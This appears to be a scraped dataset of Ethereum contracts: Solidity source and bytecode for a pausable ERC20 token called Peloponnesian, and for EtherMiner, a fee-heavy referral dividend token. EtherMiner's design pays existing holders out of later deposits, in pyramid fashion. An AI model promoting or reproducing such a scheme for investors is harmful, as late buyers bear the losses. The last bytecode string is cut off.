owner = newOwner;
}
}
// File: contracts/Pausable.sol
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
constructor () public {
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
// File: contracts/ERC20.sol
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
}
// File: contracts/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
* @dev Based on https://github.com/OpenZeppelin/zeppelin-solidity
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
// File: contracts/StandardToken.sol
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev Based on https://github.com/OpenZeppelin/zeppelin-solidity
*/
contract StandardToken is ERC20 {
using SafeMath for uint256;
uint256 internal _totalSupply;
mapping(address => uint256) internal _balanceOf;
mapping (address => mapping (address => uint256)) internal _allowance;
modifier onlyValidAddress(address addr) {
require(addr != address(0));
_;
}
modifier onlySufficientBalance(address from, uint256 value) {
require(value <= _balanceOf[from]);
_;
}
modifier onlySufficientAllowance(address from, address to, uint256 value) {
require(value <= _allowance[from][msg.sender]);
_;
}
/**
* @dev Transfers token to the specified address
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function transfer(address to, uint256 value)
public
onlyValidAddress(to)
onlySufficientBalance(msg.sender, value)
returns (bool)
{
_balanceOf[msg.sender] = _balanceOf[msg.sender].sub(value);
_balanceOf[to] = _balanceOf[to].add(value);
emit Transfer(msg.sender, to, value);
return true;
}
/**
* @dev Transfers tokens from one address to another
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @param value uint256 the amount of tokens to be transferred
*/
function transferFrom(address from, address to, uint256 value)
public
onlyValidAddress(to)
onlySufficientBalance(from, value)
onlySufficientAllowance(from, to, value)
returns (bool)
{
_balanceOf[from] = _balanceOf[from].sub(value);
_balanceOf[to] = _balanceOf[to].add(value);
_allowance[from][msg.sender] = _allowance[from][msg.sender].sub(value);
emit Transfer(from, to, value);
return true;
}
/**
* @dev Approves the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param spender The address which will spend the funds.
* @param value The amount of tokens to be spent.
*/
function approve(address spender, uint256 value) public returns (bool) {
_allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
/**
* @dev Increases the amount of tokens that an owner allowed to a spender.
*
* approve should be called when _allowance[spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* @param spender The address which will spend the funds.
* @param addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address spender, uint addedValue) public returns (bool) {
_allowance[msg.sender][spender] = _allowance[msg.sender][spender].add(addedValue);
emit Approval(msg.sender, spender, _allowance[msg.sender][spender]);
return true;
}
/**
* @dev Decreases the amount of tokens that an owner allowed to a spender.
*
* approve should be called when _allowance[spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* @param spender The address which will spend the funds.
* @param subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address spender, uint subtractedValue) public returns (bool) {
uint oldValue = _allowance[msg.sender][spender];
if (subtractedValue > oldValue) {
_allowance[msg.sender][spender] = 0;
} else {
_allowance[msg.sender][spender] = oldValue.sub(subtractedValue);
}
emit Approval(msg.sender, spender, _allowance[msg.sender][spender]);
return true;
}
/**
* @dev Gets total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev Gets the balance of the specified address.
* @param owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address owner) public view returns (uint256) {
return _balanceOf[owner];
}
/**
* @dev Checks the amount of tokens that an owner allowed to a spender.
* @param owner address The address which owns the funds.
* @param spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address owner, address spender) public view returns (uint256) {
return _allowance[owner][spender];
}
}
// File: contracts/PausableToken.sol
/**
* @title Pausable token
* @dev StandardToken modified with pausable transfers.
**/
contract PausableToken is StandardToken, Pausable {
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
}
// File: contracts/Protection.sol
contract Protection {
/**
* @dev Protection against short address attack
*/
modifier onlyPayloadSize(uint numwords) {
assert(msg.data.length == numwords * 32 + 4);
_;
}
}
// File: contracts/TokenRecipient.sol
contract TokenRecipient {
/**
* @dev receive approval
*/
function receiveApproval(address _from, uint256 _value, address _to, bytes _extraData) public;
}
// File: contracts/PeloponnesianToken.sol
contract PeloponnesianToken is Protection,PausableToken {
string public name = "Peloponnesian";
string public symbol = "PELO";
uint256 public decimals = 18;
uint256 public initialSupply = 100 * 10**8 * uint256(10**decimals);
constructor( ) public {
_totalSupply = initialSupply;
_balanceOf[msg.sender] = initialSupply;
}
/**
* @dev Transfer with short address attack protection
*/
function transfer(address _to, uint _value) public onlyPayloadSize(2) returns (bool) {
return super.transfer(_to, _value);
}
/**
* @dev TransferFrom with short address attack protection
*/
function transferFrom(address _from, address _to, uint _value) public onlyPayloadSize(3) returns (bool) {
return super.transferFrom(_from, _to, _value);
}
/**
* @dev Allowance with short address attack protection
*/
function allowance(address _owner, address _spender) public onlyPayloadSize(2) constant returns (uint256 remaining) {
return super.allowance(_owner, _spender);
}
/**
* @dev Approve and then communicate the approved contract in a single transaction
*/
function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) {
TokenRecipient spender = TokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
}
|
0x6080604052600436106100fb5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde038114610100578063095ea7b31461018a57806318160ddd146101c257806323b872dd146101e9578063313ce56714610213578063378dc3dc146102285780633f4ba83a1461023d5780635c975abb14610254578063661884631461026957806370a082311461028d5780638456cb59146102ae5780638da5cb5b146102c357806395d89b41146102f4578063a9059cbb14610309578063cae9ca511461032d578063d73dd62314610396578063dd62ed3e146103ba578063f2fde38b146103e1575b600080fd5b34801561010c57600080fd5b50610115610402565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561014f578181015183820152602001610137565b50505050905090810190601f16801561017c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561019657600080fd5b506101ae600160a060020a0360043516602435610490565b604080519115158252519081900360200190f35b3480156101ce57600080fd5b506101d76104bb565b60408051918252519081900360200190f35b3480156101f557600080fd5b506101ae600160a060020a03600435811690602435166044356104c1565b34801561021f57600080fd5b506101d76104e5565b34801561023457600080fd5b506101d76104eb565b34801561024957600080fd5b506102526104f1565b005b34801561026057600080fd5b506101ae61056d565b34801561027557600080fd5b506101ae600160a060020a036004351660243561057d565b34801561029957600080fd5b506101d7600160a060020a03600435166105a1565b3480156102ba57600080fd5b506102526105bc565b3480156102cf57600080fd5b506102d861063d565b60408051600160a060020a039092168252519081900360200190f35b34801561030057600080fd5b5061011561064c565b34801561031557600080fd5b506101ae600160a060020a03600435166024356106a7565b34801561033957600080fd5b50604080516020600460443581810135601f81018490048402850184019095528484526101ae948235600160a060020a03169460248035953695946064949201919081908401838280828437509497506106c79650505050505050565b3480156103a257600080fd5b506101ae600160a060020a03600435166024356107fa565b3480156103c657600080fd5b506101d7600160a060020a036004358116906024351661081e565b3480156103ed57600080fd5b50610252600160a060020a0360043516610836565b6004805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156104885780601f1061045d57610100808354040283529160200191610488565b820191906000526020600020905b81548152906001019060200180831161046b57829003601f168201915b505050505081565b60035460009060a060020a900460ff16156104aa57600080fd5b6104b483836108d1565b9392505050565b60005490565b60006003366064146104cf57fe5b6104da85858561093b565b91505b509392505050565b60065481565b60075481565b60035433600160a060020a0390811691161461050c57600080fd5b60035460a060020a900460ff16151561052457600080fd5b6003805474ff0000000000000000000000000000000000000000191690556040517f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3390600090a1565b60035460a060020a900460ff1681565b60035460009060a060020a900460ff161561059757600080fd5b6104b48383610960565b600160a060020a031660009081526001602052604090205490565b60035433600160a060020a039081169116146105d757600080fd5b60035460a060020a900460ff16156105ee57600080fd5b6003805474ff0000000000000000000000000000000000000000191660a060020a1790556040517f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62590600090a1565b600354600160a060020a031681565b6005805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156104885780601f1061045d57610100808354040283529160200191610488565b60006002366044146106b557fe5b6106bf8484610a59565b949350505050565b6000836106d48185610490565b156104dd5780600160a060020a0316638f4ffcb1338630876040518563ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018085600160a060020a0316600160a060020a0316815260200184815260200183600160a060020a0316600160a060020a0316815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561078a578181015183820152602001610772565b50505050905090810190601f1680156107b75780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b1580156107d957600080fd5b505af11580156107ed573d6000803e3d6000fd5b50505050600191506104dd565b60035460009060a060020a900460ff161561081457600080fd5b6104b48383610a7d565b600060023660441461082c57fe5b6106bf8484610b1f565b60035433600160a060020a0390811691161461085157600080fd5b80600160a060020a038116151561086757600080fd5b600354604051600160a060020a038085169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3506003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600160a060020a03338116600081815260026020908152604080832094871680845294825280832086905580518681529051929493927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a350600192915050565b60035460009060a060020a900460ff161561095557600080fd5b6106bf848484610b4a565b600160a060020a033381166000908152600260209081526040808320938616835292905290812054808311156109bd57600160a060020a0333811660009081526002602090815260408083209388168352929052908120556109f4565b6109cd818463ffffffff610cdd16565b600160a060020a033381166000908152600260209081526040808320938916835292905220555b600160a060020a0333811660008181526002602090815260408083209489168084529482529182902054825190815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a35060019392505050565b60035460009060a060020a900460ff1615610a7357600080fd5b6104b48383610cef565b600160a060020a033381166000908152600260209081526040808320938616835292905290812054610ab5908363ffffffff610df116565b600160a060020a0333811660008181526002602090815260408083209489168084529482529182902085905581519485529051929391927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a350600192915050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b600082600160a060020a0381161515610b6257600080fd5b600160a060020a03851660009081526001602052604090205485908490811115610b8b57600080fd5b600160a060020a0380881660009081526002602090815260408083203390941683529290522054879087908790811115610bc457600080fd5b600160a060020a038a16600090815260016020526040902054610bed908963ffffffff610cdd16565b600160a060020a03808c1660009081526001602052604080822093909355908b1681522054610c22908963ffffffff610df116565b600160a060020a03808b166000908152600160209081526040808320949094558d8316825260028152838220339093168252919091522054610c6a908963ffffffff610cdd16565b600160a060020a03808c16600081815260026020908152604080832033861684528252918290209490945580518c81529051928d169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060019998505050505050505050565b600082821115610ce957fe5b50900390565b600082600160a060020a0381161515610d0757600080fd5b33600160a060020a0381166000908152600160205260409020548490811115610d2f57600080fd5b600160a060020a033316600090815260016020526040902054610d58908663ffffffff610cdd16565b600160a060020a033381166000908152600160205260408082209390935590881681522054610d8d908663ffffffff610df116565b600160a060020a038088166000818152600160209081526040918290209490945580518981529051919333909316927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a350600195945050505050565b6000828201838110156104b457fe00a165627a7a72305820c4d5bd93b2f6b36f0817d40e78cab61be2306981d75bd905cef59da812eaa2a90029
|
{"success": true, "error": null, "results": {}}
| 8,652 |
0x7c20263dd382628f5100d252960adda402a28aa1
|
pragma solidity ^0.4.25;
/*
* http://etherminer.club
*
* EthMiner Pro concept
*
* [✓] 25% Withdraw fee
* [✓] 15% Deposit fee
* [✓] 1% Token transfer
* [✓] 30% Referral link
*
*/
contract EtherMiner{
modifier onlyBagholders {
require(myTokens() > 0);
_;
}
modifier onlyStronghands {
require(myDividends(true) > 0);
_;
}
event onTokenPurchase(
address indexed customerAddress,
uint256 incomingEthereum,
uint256 tokensMinted,
address indexed referredBy,
uint timestamp,
uint256 price
);
event onTokenSell(
address indexed customerAddress,
uint256 tokensBurned,
uint256 ethereumEarned,
uint timestamp,
uint256 price
);
event onReinvestment(
address indexed customerAddress,
uint256 ethereumReinvested,
uint256 tokensMinted
);
event onWithdraw(
address indexed customerAddress,
uint256 ethereumWithdrawn
);
event Transfer(
address indexed from,
address indexed to,
uint256 tokens
);
string public name = "EtherMiner";
string public symbol = "ETM";
uint8 constant public decimals = 18;
uint8 constant internal entryFee_ = 15;
uint8 constant internal transferFee_ = 1;
uint8 constant internal exitFee_ = 25;
uint8 constant internal refferalFee_ = 30;
uint256 constant internal tokenPriceInitial_ = 0.00000001 ether;
uint256 constant internal tokenPriceIncremental_ = 0.0000001 ether;
uint256 constant internal magnitude = 2 ** 64;
uint256 public stakingRequirement = 50e18;
mapping(address => uint256) internal tokenBalanceLedger_;
mapping(address => uint256) internal referralBalance_;
mapping(address => int256) internal payoutsTo_;
uint256 internal tokenSupply_;
uint256 internal profitPerShare_;
function buy(address _referredBy) public payable returns (uint256) {
purchaseTokens(msg.value, _referredBy);
}
function() payable public {
purchaseTokens(msg.value, 0x0);
}
function reinvest() onlyStronghands public {
uint256 _dividends = myDividends(false);
address _customerAddress = msg.sender;
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
uint256 _tokens = purchaseTokens(_dividends, 0x0);
emit onReinvestment(_customerAddress, _dividends, _tokens);
}
function exit() public {
address _customerAddress = msg.sender;
uint256 _tokens = tokenBalanceLedger_[_customerAddress];
if (_tokens > 0) sell(_tokens);
withdraw();
}
function withdraw() onlyStronghands public {
address _customerAddress = msg.sender;
uint256 _dividends = myDividends(false);
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
_customerAddress.transfer(_dividends);
emit onWithdraw(_customerAddress, _dividends);
}
function sell(uint256 _amountOfTokens) onlyBagholders public {
address _customerAddress = msg.sender;
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
uint256 _tokens = _amountOfTokens;
uint256 _ethereum = tokensToEthereum_(_tokens);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens);
int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude));
payoutsTo_[_customerAddress] -= _updatedPayouts;
if (tokenSupply_ > 0) {
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
}
emit onTokenSell(_customerAddress, _tokens, _taxedEthereum, now, buyPrice());
}
function transfer(address _toAddress, uint256 _amountOfTokens) onlyBagholders public returns (bool) {
address _customerAddress = msg.sender;
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
if (myDividends(true) > 0) {
withdraw();
}
uint256 _tokenFee = SafeMath.div(SafeMath.mul(_amountOfTokens, transferFee_), 100);
uint256 _taxedTokens = SafeMath.sub(_amountOfTokens, _tokenFee);
uint256 _dividends = tokensToEthereum_(_tokenFee);
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokenFee);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _taxedTokens);
payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens);
payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _taxedTokens);
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
emit Transfer(_customerAddress, _toAddress, _taxedTokens);
return true;
}
function totalEthereumBalance() public view returns (uint256) {
return this.balance;
}
function totalSupply() public view returns (uint256) {
return tokenSupply_;
}
function myTokens() public view returns (uint256) {
address _customerAddress = msg.sender;
return balanceOf(_customerAddress);
}
function myDividends(bool _includeReferralBonus) public view returns (uint256) {
address _customerAddress = msg.sender;
return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ;
}
function balanceOf(address _customerAddress) public view returns (uint256) {
return tokenBalanceLedger_[_customerAddress];
}
function dividendsOf(address _customerAddress) public view returns (uint256) {
return (uint256) ((int256) (profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude;
}
function sellPrice() public view returns (uint256) {
// our calculation relies on the token supply, so we need supply. Doh.
if (tokenSupply_ == 0) {
return tokenPriceInitial_ - tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
}
function buyPrice() public view returns (uint256) {
if (tokenSupply_ == 0) {
return tokenPriceInitial_ + tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, entryFee_), 100);
uint256 _taxedEthereum = SafeMath.add(_ethereum, _dividends);
return _taxedEthereum;
}
}
function calculateTokensReceived(uint256 _ethereumToSpend) public view returns (uint256) {
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereumToSpend, entryFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
return _amountOfTokens;
}
function calculateEthereumReceived(uint256 _tokensToSell) public view returns (uint256) {
require(_tokensToSell <= tokenSupply_);
uint256 _ethereum = tokensToEthereum_(_tokensToSell);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
function purchaseTokens(uint256 _incomingEthereum, address _referredBy) internal returns (uint256) {
address _customerAddress = msg.sender;
uint256 _undividedDividends = SafeMath.div(SafeMath.mul(_incomingEthereum, entryFee_), 100);
uint256 _referralBonus = SafeMath.div(SafeMath.mul(_undividedDividends, refferalFee_), 100);
uint256 _dividends = SafeMath.sub(_undividedDividends, _referralBonus);
uint256 _taxedEthereum = SafeMath.sub(_incomingEthereum, _undividedDividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
uint256 _fee = _dividends * magnitude;
require(_amountOfTokens > 0 && SafeMath.add(_amountOfTokens, tokenSupply_) > tokenSupply_);
if (
_referredBy != 0x0000000000000000000000000000000000000000 &&
_referredBy != _customerAddress &&
tokenBalanceLedger_[_referredBy] >= stakingRequirement
) {
referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus);
} else {
_dividends = SafeMath.add(_dividends, _referralBonus);
_fee = _dividends * magnitude;
}
if (tokenSupply_ > 0) {
tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens);
profitPerShare_ += (_dividends * magnitude / tokenSupply_);
_fee = _fee - (_fee - (_amountOfTokens * (_dividends * magnitude / tokenSupply_)));
} else {
tokenSupply_ = _amountOfTokens;
}
tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
int256 _updatedPayouts = (int256) (profitPerShare_ * _amountOfTokens - _fee);
payoutsTo_[_customerAddress] += _updatedPayouts;
emit onTokenPurchase(_customerAddress, _incomingEthereum, _amountOfTokens, _referredBy, now, buyPrice());
return _amountOfTokens;
}
function ethereumToTokens_(uint256 _ethereum) internal view returns (uint256) {
uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18;
uint256 _tokensReceived =
(
(
SafeMath.sub(
(sqrt
(
(_tokenPriceInitial ** 2)
+
(2 * (tokenPriceIncremental_ * 1e18) * (_ethereum * 1e18))
+
((tokenPriceIncremental_ ** 2) * (tokenSupply_ ** 2))
+
(2 * tokenPriceIncremental_ * _tokenPriceInitial*tokenSupply_)
)
), _tokenPriceInitial
)
) / (tokenPriceIncremental_)
) - (tokenSupply_);
return _tokensReceived;
}
function tokensToEthereum_(uint256 _tokens) internal view returns (uint256) {
uint256 tokens_ = (_tokens + 1e18);
uint256 _tokenSupply = (tokenSupply_ + 1e18);
uint256 _etherReceived =
(
SafeMath.sub(
(
(
(
tokenPriceInitial_ + (tokenPriceIncremental_ * (_tokenSupply / 1e18))
) - tokenPriceIncremental_
) * (tokens_ - 1e18)
), (tokenPriceIncremental_ * ((tokens_ ** 2 - tokens_) / 1e18)) / 2
)
/ 1e18);
return _etherReceived;
}
function sqrt(uint256 x) internal pure returns (uint256 y) {
uint256 z = (x + 1) / 2;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
|
0x6080604052600436106101105763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166265318b811461011e57806306fdde031461015157806310d0ffdd146101db57806318160ddd146101f35780632260937314610208578063313ce567146102205780633ccfd60b1461024b5780634b7503341461026257806356d399e814610277578063688abbf71461028c5780636b2f4632146102a657806370a08231146102bb5780638620410b146102dc578063949e8acd146102f157806395d89b4114610306578063a9059cbb1461031b578063e4849b3214610353578063e9fad8ee1461036b578063f088d54714610380578063fdb5a03e14610394575b61011b3460006103a9565b50005b34801561012a57600080fd5b5061013f600160a060020a036004351661060c565b60408051918252519081900360200190f35b34801561015d57600080fd5b50610166610647565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101a0578181015183820152602001610188565b50505050905090810190601f1680156101cd5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101e757600080fd5b5061013f6004356106d5565b3480156101ff57600080fd5b5061013f610708565b34801561021457600080fd5b5061013f60043561070e565b34801561022c57600080fd5b5061023561074a565b6040805160ff9092168252519081900360200190f35b34801561025757600080fd5b5061026061074f565b005b34801561026e57600080fd5b5061013f610822565b34801561028357600080fd5b5061013f61087a565b34801561029857600080fd5b5061013f6004351515610880565b3480156102b257600080fd5b5061013f6108c3565b3480156102c757600080fd5b5061013f600160a060020a03600435166108c8565b3480156102e857600080fd5b5061013f6108e3565b3480156102fd57600080fd5b5061013f61092e565b34801561031257600080fd5b50610166610940565b34801561032757600080fd5b5061033f600160a060020a036004351660243561099a565b604080519115158252519081900360200190f35b34801561035f57600080fd5b50610260600435610b3d565b34801561037757600080fd5b50610260610ca9565b61013f600160a060020a0360043516610cd6565b3480156103a057600080fd5b50610260610ce2565b600033818080808080806103c86103c18c600f610d98565b6064610dce565b96506103d86103c188601e610d98565b95506103e48787610de5565b94506103f08b88610de5565b93506103fb84610df7565b9250680100000000000000008502915060008311801561042557506006546104238482610e8e565b115b151561043057600080fd5b600160a060020a038a161580159061045a575087600160a060020a03168a600160a060020a031614155b80156104805750600254600160a060020a038b1660009081526003602052604090205410155b156104c657600160a060020a038a166000908152600460205260409020546104a89087610e8e565b600160a060020a038b166000908152600460205260409020556104e1565b6104d08587610e8e565b945068010000000000000000850291505b60006006541115610545576104f860065484610e8e565b600681905568010000000000000000860281151561051257fe5b6007805492909104909101905560065468010000000000000000860281151561053757fe5b04830282038203915061054b565b60068390555b600160a060020a03881660009081526003602052604090205461056e9084610e8e565b600160a060020a03808a166000818152600360209081526040808320959095556007546005909152939020805493870286900393840190559192508b16907f8032875b28d82ddbd303a9e4e5529d047a14ecb6290f80012a81b7e6227ff1ab8d86426105d86108e3565b604080519485526020850193909352838301919091526060830152519081900360800190a350909998505050505050505050565b600160a060020a0316600090815260056020908152604080832054600390925290912054600754680100000000000000009102919091030490565b6000805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156106cd5780601f106106a2576101008083540402835291602001916106cd565b820191906000526020600020905b8154815290600101906020018083116106b057829003601f168201915b505050505081565b60008080806106e86103c186600f610d98565b92506106f48584610de5565b91506106ff82610df7565b95945050505050565b60065490565b600080600080600654851115151561072557600080fd5b61072e85610e9d565b925061073e6103c1846019610d98565b91506106ff8383610de5565b601281565b600080600061075e6001610880565b1161076857600080fd5b3391506107756000610880565b600160a060020a038316600081815260056020908152604080832080546801000000000000000087020190556004909152808220805490839055905193019350909183156108fc0291849190818181858888f193505050501580156107de573d6000803e3d6000fd5b50604080518281529051600160a060020a038416917fccad973dcd043c7d680389db4378bd6b9775db7124092e9e0422c9e46d7985dc919081900360200190a25050565b60008060008060065460001415610841576414f46b03ff199350610874565b610852670de0b6b3a7640000610e9d565b92506108626103c1846019610d98565b915061086e8383610de5565b90508093505b50505090565b60025481565b60003382610896576108918161060c565b6108ba565b600160a060020a0381166000908152600460205260409020546108b88261060c565b015b91505b50919050565b303190565b600160a060020a031660009081526003602052604090205490565b600080600080600654600014156109015764199c82cc009350610874565b610912670de0b6b3a7640000610e9d565b92506109226103c184600f610d98565b915061086e8383610e8e565b60003361093a816108c8565b91505090565b60018054604080516020600284861615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156106cd5780601f106106a2576101008083540402835291602001916106cd565b6000806000806000806109ab61092e565b116109b557600080fd5b336000818152600360205260409020549094508611156109d457600080fd5b60006109e06001610880565b11156109ee576109ee61074f565b6109fc6103c1876001610d98565b9250610a088684610de5565b9150610a1383610e9d565b9050610a2160065484610de5565b600655600160a060020a038416600090815260036020526040902054610a479087610de5565b600160a060020a038086166000908152600360205260408082209390935590891681522054610a769083610e8e565b600160a060020a0388811660008181526003602090815260408083209590955560078054948a16835260059091528482208054948c02909403909355825491815292909220805492850290920190915554600654610aea9190680100000000000000008402811515610ae457fe5b04610e8e565b600755604080518381529051600160a060020a03808a1692908716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35060019695505050505050565b6000806000806000806000610b5061092e565b11610b5a57600080fd5b33600081815260036020526040902054909650871115610b7957600080fd5b869450610b8585610e9d565b9350610b956103c1856019610d98565b9250610ba18484610de5565b9150610baf60065486610de5565b600655600160a060020a038616600090815260036020526040902054610bd59086610de5565b600160a060020a03871660009081526003602090815260408083209390935560075460059091529181208054928802680100000000000000008602019283900390556006549192501015610c4557610c41600754600654680100000000000000008602811515610ae457fe5b6007555b85600160a060020a03167f8d3a0130073dbd54ab6ac632c05946df540553d3b514c9f8165b4ab7f2b1805e868442610c7b6108e3565b604080519485526020850193909352838301919091526060830152519081900360800190a250505050505050565b33600081815260036